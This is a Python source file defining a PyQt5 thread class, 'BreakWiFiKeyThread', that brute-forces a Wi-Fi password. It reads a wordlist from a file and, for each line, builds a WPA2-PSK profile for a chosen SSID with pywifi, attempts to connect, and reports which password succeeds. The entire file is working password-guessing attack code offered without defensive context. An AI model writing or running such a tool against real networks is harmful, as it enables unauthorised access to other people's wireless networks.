# -*- coding: utf-8 -*-
import time
from PyQt5.QtCore import QThread, pyqtSignal
from pywifi import const, Profile


class BreakWiFiKeyThread(QThread):
    result_signal = pyqtSignal(str)

    def __init__(self, iface=None, ssid=None, file_path=None):
        super().__init__()
        self.iface = iface
        self.ssid = ssid
        self.file_path = file_path

    def run(self):
        with open(self.file_path, 'rt', encoding='utf-8') as f:
            pwd_list = f.readlines()

        for pwd in pwd_list:
            self.worker(pwd)

    def worker(self, password):
        profile = Profile()
        profile.ssid = self.ssid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm = const.AKM_TYPE_WPA2PSK
        profile.cipher = const.CIPHER_TYPE_CCMP

        profile.key = password

        conn_profile = self.iface.add_network_profile(profile)
        self.iface.connect(conn_profile)

        time.sleep(0.5)

        if self.iface.status() == const.IFACE_CONNECTED:
            self.result_signal.emit(f"{password}-Connection Successful)")
        else:
            self.result_signal.emit(f"{password}-Connection Fail")
